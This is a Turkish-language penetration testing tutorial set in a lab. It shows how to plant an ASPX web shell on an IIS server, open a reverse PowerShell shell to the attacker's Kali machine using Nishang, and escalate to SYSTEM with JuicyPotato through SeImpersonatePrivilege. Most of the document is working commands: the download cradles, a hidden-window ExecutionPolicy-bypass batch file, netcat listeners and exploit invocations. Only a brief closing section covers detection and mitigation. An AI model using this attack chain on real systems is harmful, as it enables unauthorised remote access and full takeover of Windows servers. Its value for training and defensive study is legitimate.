Mevcut ortamda saldırgana ait Kali bilgisayarın IP adresi 192.168.100.137, hedef IIS sunucusunun IP adresi ise 192.168.100.129’dur. IIS yetkisine nasıl erişilebileceği bu yazı kapsamına alınmamıştır.
1) IIS Kurulumu
Ortamın hazırlanması için Windows Server 2008 R2 üzerinde IIS Servisi kurulabilir. Bunun yanında benzer zafiyet Windows Server 2016’da da devam etmektedir. Windows Server 2019’da ise bu zafiyetin giderilmiş olduğu belirtilmektedir.
Kurulum için öncelikle IIS servisi rol olarak seçilir.
İstenilen servisler varsa seçimi gerçekleştirilir.
Gerekli kontrollerden sonra kurulum gerçekleştirilir.
2) Windows Servis Kullanıcısının Yetkisi İle Komut Çalıştırabilme
IIS üzerinde komut satırı elde etmek için IIS kullanıcısının yetkisi ile komut çalıştırılacaktır. Bu amaçla Kali üzerindeki komut enjeksiyonu zafiyeti için kullanılan ASPX dosyası (aspx_cmd.aspx gibi) IIS sunucuya atılabilir. Aktarım işlemi için Kali üzerinde SMB servisi başlatılabilir.
mkdir egitim
locate *cmd.asp*
cp /usr/share/davtest/backdoors/aspx_cmd.aspx /root/egitim/
python /usr/share/doc/python-impacket/examples/smbserver.py PAYLASIM /root/egitim/
Bu dosya IIS kök dizinine yüklenir.
net use T: \\192.168.100.137\Paylasim
dir T:
copy T:\aspx_cmd.aspx C:\inetpub\wwwroot\komut.aspx
Bu dosya ile komut çalıştırılabildiği görülmektedir.
http://192.168.100.129/komut.aspx
ipconfig && echo. && echo. && whoami
3) Ters Bağlantı Elde Etme
IIS üzerinde komut çalıştırdıktan sonra, ters bağlantı elde edebilmek için Nishang projesine ait komut satırı dosyalarından birisi kullanılabilir.
https://github.com/samratashok/nishang/tree/master/Shells
Bu dosyalardan Invoke-PowerShellTcp.ps1 Github üzerinden indirilir.
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1 -O /root/egitim/Baglanti_9999.ps1
cd egitim/
ls -la
cat Baglanti_9999.ps1 | grep “PS >”
Betik içindeki örnek olarak verilen şekilde metodlar farklı şekilde çağırılabilir. Bunun yanında betiğin sonuna bu metodlardan biri yazılırsa, betik indirilip çalıştırılması sağlanarak ters bağlantı elde edilebilir. Çalıştırılma yöntemini her defasında belirtmemek için betiğin sonuna bağlantıyı sağlayacak komut eklenir.
tail -5 Baglanti_9999.ps1
echo “Invoke-PowerShellTcp -Reverse -IPAddress 192.168.100.137 -Port 9999” >> Baglanti_9999.ps1
tail -6 Baglanti_9999.ps1
Bu betik IIS sunucu tarafında indirilip, çalıştırıldığında Kali makinenin TCP\9999 portuna ters bağlantı açacaktır. İndirme talebi için web servisi ve gelecek bağlantıyı yakalamak için de dinleyici başlatılır.
python -m SimpleHTTPServer 80
nc -nlvp 9999
Komut enjesiyonu zafiyetine sahip web sayfasında Kali üzerindeki Invoke-PowerShellTcp.ps1 dosyası indirildiğinde IIS kullanıcı yetkisi (iis apppool\defaultapppool) ile komut satırı erişimi elde edilmiş olur.
powershell IEX(New-Object Net.WebClient).downloadString(‘http://192.168.100.137/Baglanti_9999.ps1’)
whoami
4) Windows Servislerindeki Zafiyetin Genel Tanımı
Windows işletim sisteminde özel yetkili hesaplar aşağıdaki gibi listelenebilir.
- Local System (NT AUTHORITY\SYSTEM)
- Administrators grubu üyeleri
- Bazı öntanımlı gruplar (Backup Operators, Server Operators, Printer Operators)
- Ön tanımlı servis hesapları – “NT AUTHORITY\SERVICE”, “NT AUTHORITY\NETWORK SERVICE”, “NT AUTHORITY\LOCAL SERVICE”
- Managed Service Hesapları
- Virtual Accounts
- Üçüncü taraf uygulamalara ait hesaplar
- Grup ilkelerindeki “User Right Assignment” altında yanlış yetkilendirme verilmiş kullanıcılar
Windows işletim sisteminde servisler, genel olarak aşağıdaki kullanıcı yetkilerine sahip olurlar.
- IIS – SeImpersonatePrivilege – BUILTIN\IIS_IUSRS
- MSSQL – SeAssignPrimaryTokenPrivilege – NT SERVICE\SQLAgent$SQLEXPRESS, NT SERVICE\MSSQLLaunchpad$SQLEXPRESS, NT SERVICE\MSSQL$SQLEXPRESS
- Yedekleme Ürünleri (Veritas NetBackup gibi) – SeTcbPrivilege, SeCreateTokenPrivilege, SeBackupPrivilege, SeRestorePrivilege
Windows işletim sisteminde, bir kullanıcıda aşağıdaki yetkilerin / ayrıcalıkların birisinin bulunması durumunda o kullanıcı hesabının yetkisi, Windows işletim sistemindeki en yetkili hesap olan “NT AUTHORITY\SYSTEM” kullanıcısının yetkisine yükseltilebilir.
- SeImpersonatePrivilege – Impersonate a client after authentication
- SeAssignPrimaryTokenPrivilege – Replace a process-level token
- SeTcbPrivilege – Act as part of the operating system
- SeRestorePrivilege – Restore files and directories
- SeBackupPrivilege – Back up files and directories
- SeCreateTokenPrivilege – Create a token object
- SeLoadDriverPrivilege – Load and unload device drivers
- SeTakeOwnershipPrivilege – Take ownership of files or other objects
- SeDebugPrivilege – Debug programs
Not: Belirtilen yetkiler ile ilgili detaylı bilgi için kaynaklardaki Siberportal yazısı incelenebilir.
IIS kullanıcı hesabı incelendiğinde, işlevi sebebi ile bir takım ek yetkileri olduğu görülmektedir.
whoami /priv
Bir servis kullanıcısının yetkisi kullanılarak hak yükseltmek için Juicy Potato adlı bir uygulama kullanılabilir. Juicy Potato ile hak yükseltebilmek için, bu uygulamayı çalıştıracak kullanıcının aşağıdaki proseslerden birisini çağırabilmesi gereklidir.
- CreateProcessWithTokenW (SeImpersonatePrivilege gerekir)
- CreateProcessAsUser (SeAssignPrimaryTokenPrivilege gerekir)
Bu saldırı sırasında yapılan temel işlem, DCOM (Distributed Component Object Model) nesnesi ile DCOM sunucusu arasındaki API çağrılarının arasına girmek (MITM) ve NTLM kimlik doğrulamasını (NTLM relay) gerçekleştirmektir. Böylece SYSTEM kullanıcısının yetkisini taklit edilebilir (SeImpersonatePrivilege) veya değiştirilebilir (SeAssignPrimaryTokenPrivilege).
5) Hak Yükseltme Zafiyetinin İstismarı
Github üzerinden JuicyPotato.exe dosyası indirilir.
wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe -O /root/egitim/jp.exe
file jp.exe
md5sum jp.exe
Github üzerinden Kali makineye indirilen dosya, daha önceden açılan web hizmeti üzerinden IIS sunucuya gönderilir.
powershell -c “(New-Object System.Net.WebClient).DownloadFile(‘http://192.168.100.137/jp.exe’,’C:\Users\Public\jp-yukselt.exe’)”
dir
JuicyPotato.exe aracı çalıştığında arka planda ters bağlantıyı tetikleyecek bir başka uygulama çalıştırılabilir, yeni bir yerel yönetici kullanıcısı oluşturulabilir, arka kapı bırakılabilir. Bu yazıda, ters bağlantı sağlayan Invoke-PowerShellTcp.ps1 betiğindeki port bilgisi TCP\8888 olarak değiştirilecek ve bu betiğin çalıştırılması sağlanacaktır.
tail -6 Baglanti_9999.ps1
cp Baglanti_9999.ps1 Baglanti_8888.ps1
nano Baglanti_8888.ps1
tail -6 Baglanti_8888.ps1
Betiği çağıracak şekilde bir bat dosyası, IIS sunucuya yerleştirilir.
echo “C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noninteractive -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile IEX(New-Object Net.WebClient).downloadString(‘http://192.168.100.137/Baglanti_8888.ps1’)” > Calistir.bat
type Calistir.bat
Not: “echo” ile dosyaya yazmaya çalışıldığında dosyanın başında kodlama hatası alınabilmekte ve Calistir.bat dosyası düzgün olarak çalışmayabilmektedir. Bu sebeple impacket-smbserver ile dosya transferi de gerçekleştirilebilirdi. Veya Kali içerisinde oluşturulan Calistir.bat dosyasi aşağıdaki gibi bir komutla da hedef sunucuya (çalıştırılmadan) indirilebilirdi.
powershell -c “(New-Object System.Net.WebClient).DownloadFile(‘http://192.168.100.137/Calistir.bat’,’C:\Users\Public\Calistir.bat’)”
Calistir.bat çalıştığında Kali üzerinde TCP\8888‘e bir talep gelecektir. Bu talebi yakalayacak dinleyici başlatılır.
nc -nlvp 8888
JuicyPotato.exe aracı rastgele bir port üzerinden araya girdiğinde, Calistir.bat dosyası çalışacak ve SYSTEM kullanıcı yetkisi ile komut satırı erişimi elde edilmiş olacaktır.
C:\Users\Public\jp-yukselt.exe -t * -p “C:\Users\Public\Calistir.bat” -l 9753
whoami
whoami /priv
Not: Dosya yolunu tam olarak belirtmeden de aşağıdaki gibi bir komutla da benzer işlem gerçekleştirilebilirdi.
.\jp-yukselt.exe -t * -p “.\Calistir.bat” -l 9753
6) Tespiti & Önlemi
Bu zafiyete karşı alınabilecek (uygulanabilir) tedbirler aşağıdaki gibi sıralanabilir.
- Windows Server 2019’da ise bu zafiyetin giderilmiş olduğu belirtilmektedir. Bu sebeple işletim sistemi sürümü yükseltilebilir.
- Windows servislerine ait parola bilgleri oldukça güçlü bir şekilde belirlenmelidir.
- Uygulamalara ait zafiyetler için gerekli önlemler alınmalıdır.
- 4674 ve 4704 olay kayıtları izlenmelidir.
- Local Group Policies -> Windows Settings -> Security Settings->Advanced Audit Policy Configuration ->System Audit Policy Configuration->Privilege Use & Policy change
Kaynaklar:
https://ohpe.it/juicy-potato/
Hot Potato – Windows Privilege Escalation
Abusing Token Privileges For Windows Local Privilege Escalation
https://www.exploit-db.com/papers/42556
https://2018.romhack.io/slides/RomHack%202018%20-%20Andrea%20Pierini%20-%20whoami%20priv%20-%20show%20me%20your%20Windows%20privileges%20and%20I%20will%20lead%20you%20to%20SYSTEM.pdf
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4672